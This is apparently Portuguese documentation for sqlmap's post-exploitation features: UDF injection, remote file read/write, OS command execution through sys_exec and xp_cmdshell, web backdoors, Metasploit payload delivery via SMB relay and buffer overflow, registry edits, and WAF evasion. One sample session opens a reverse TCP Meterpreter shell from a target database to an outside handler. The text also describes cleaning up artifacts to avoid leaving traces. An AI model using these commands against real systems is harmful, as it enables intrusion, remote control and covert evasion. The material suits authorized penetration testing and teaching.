Injeção de Funções Definidas pelo Usuário (UDF)
Através das opções --udf-inject e --shared-lib, é possível compilar e injetar rotinas personalizadas diretamente no banco de dados. O utilitário compila as funções solicitadas, realiza o upload da biblioteca compartilhada (.so para Linux/Unix ou .dll para Windows) e registra os manipuladores no SGBD. Após a execução dos testes, o processo remove automaticamente os artefatos criados para evitar rastros no ambiente alvo.
Manipulação de Sistema de Arquivos e Execução de Comandos
Leitura e Gravação Remota
Os parâmetros --file-read, --file-write e --file-dest permitem transferir dados entre a máquina atacante e o servidor de banco de dados. Essa funcionalidade opera nos principais SGBDs (MySQL, PostgreSQL e Microsoft SQL Server) desde que o usuário da conexão possua privilégios de sistema ou funções nativas habilitadas. O mecanismo suporta tanto arquivos de texto quanto binários, calculando automaticamente o offset e o chunk size durante a extração.
Execução de Instruções no Sistema Operacional
Utilizando --os-cmd ou --os-shell, a ferramenta executa payloads nativos no servidor hospedeiro. No MySQL e PostgreSQL, o processo carrega automaticamente binários contendo as UDFs sys_exec() e sys_eval(). Já no Microsoft SQL Server, o módulo ativa ou recria o procedimento armazenado xp_cmdshell, que costuma vir desabilitado por padrão nas versões 2005 em diante. A opção --os-shell ainda inicializa um pseudoterminal interativo.
Em cenários onde a injeção de múltiplas instruções é bloqueada (como aplicações ASP ou PHP conectadas ao MySQL), o sistema recorre ao operador INTO OUTFILE para depositar scripts executáveis em diretórios com permissão de escrita. Os backdoors são gerados nativamente para ASP, ASP.NET, JSP e PHP.
Exploração Avançada e Integração com Metasploit
As flags --os-pwn, --os-smbrelay, --os-bof e --priv-esc habilitam a criação de túneis TCP/ICMP e a entrega de payloads complexos via Metasploit. A geração do shellcode segue quatro vetores principais:
- Execução em memória através da UDF
sys_bineval(), disponível para MySQL e PostgreSQL. - Upload de um agente independente acionado por
sys_exec()ouxp_cmdshell(). - Relay de protocolo SMB (explorando CVE-2008-0675/0689) quando a conta do serviço possui privilégios elevados (root/Administrator).
- Estouro de buffer na procedure
sp_replwritetovarbin(MS09-004) nas instâncias 2000/2005 do SQL Server, permitindo execução em memória via--os-bof.
$ python sqlmap.py -u "http://10.10.50.22/api/v1/users?profile_id=88" --os-pwn --msf-path /opt/frameworks/msf
[INFO] Fingerprinting backend DBMS...
[INFO] Detected architecture: x86_64
[INFO] Back-end DBMS operating system: Linux (Debian)
[?] Select tunneling protocol:
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh tunnel
\> 1
[INFO] Verifying DBA privileges...
[INFO] Creating UDF 'sys_bineval' binary module...
[INFO] Generating multi-stage shellcode...
[?] Select payload delivery method:
[1] Memory execution via UDF (default)
[2] File-system stager
\> 1
[?] Connection direction:
[1] Reverse TCP (database connects to handler)
[2] Bind TCP (listen on target)
\> 1
[INFO] Handler listening on 10.0.0.5:39482
[INFO] Payload deployed successfully. Initializing session...
[INFO] Meterpreter session opened.
meterpreter > getuid
Server username: postgres @ debian-srv
meterpreter > sysinfo
Computer : debian-srv
OS : Debian 5.10 (Linux)
Architecture : x86_64
meterpreter > exit
Modificação do Registro do Windows
A manipulação de chaves de registro exige suporte a consultas empilhadas e permissões administrativas no banco. As opções --reg-read, --reg-add e --reg-del são acompanhadas por modificadores como --reg-key, --reg-value, --reg-data e --reg-type para especificar o caminho e o conteúdo da entrada.
$ python sqlmap.py -u "http://10.10.50.22/admin/config.aspx?module=main" --reg-add \
--reg-key="HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\TestPolicy" \
--reg-value="DebugFlag" --reg-type=REG_DWORD --reg-data="1"
Gerenciamento de Sessões e Logs
-s: Define o caminho para o arquivo SQLite que armazena o histórico e estado da injeção.-t: Registra todas as requisições e respostas HTTP/HTTPS em um arquivo de texto plano.--batch: Ativa modo não interativo, aceitando automaticamente as sugestões padrão do utilitário.--charset: Sobrescreve a detecção automática de codificação (ex:--charset=UTF-8).--crawl: Varre o diretório base do alvo seguindo links até uma profundidade definida, mapeando vetores em potencial.--csv-del: Altera o delimitador padrão em extrações no formato CSV (ex:--csv-del="|").--dbms-cred: Fornece credenciais válidas para elevar privilégios via funções específicas do SGBD, comoOPENROWSET.--dump-format: Configura a saída dos dados extraídos paraCSV,HTMLouSQLITE.--eta: Exibe estimativa de tempo restante e barra de progresso durante ataques de força bruta ou extração lenta.--flush-session: Descarta caches anteriores para forçar uma nova verificação do alvo.--forms: Analisa automaticamente formulários HTML na página alvo, extraindo e testando os camposPOST.--fresh-queries: Ignora resultados já armazenados no cache da sessão.--hex: Codifica a saída viaHEX()para evitar corrupção de caracteres durante a extração.--output-dir: Redireciona a pasta padrão de salvamento de logs e sessões.--parse-errors: Captura e interpreta mensagens de erro retornadas pelo banco de dados para acelerar a enumeração.
Otimização de Desempenho e Contorno de Proteções
-z: Permite abreviar múltiplas flags (ex:-z "bat,ign,flush,tec=EU").--answers: Responde automaticamente a prompts interativos durante a execução (ex:--answers="extending=N").--check-waf: Enviam payloads sinteticamente malformados para verificar se há filtragem ativa de tráfego.--identify-waf: Realiza fingerprinting contra assinaturas conhecidas de firewalls de aplicação (suporta mais de 30 produtos, como Cloudflare, ModSecurity e Imperva).--hpp: Aplica poluição de parâmetros HTTP, técnica eficaz para bypass em pilhasASP/IISeASP.NET.--mobile: Rotaciona o cabeçalhoUser-Agentpara simular navegadores de dispositivos móveis, contornando validações de cliente.--purge-output: Apaga recursivamente a pasta de resultados sobrescrevendo os blocos de disco com dados aleatórios antes da exclusão.--smart: Aplica heurísticas rápidas para descartar parâmetros não dinâmicos, acelerando varreduras em grandes listas de URLs.--cleanup: Remove temporariamente tabelas e funções criadas durante o teste de injeção.--disable-coloring: Desativa a formatação ANSI nas saídas de terminal.--wizard: Inicia um assistente guiado para configuração de parâmetros básicos, recomendado para operadores iniciantes.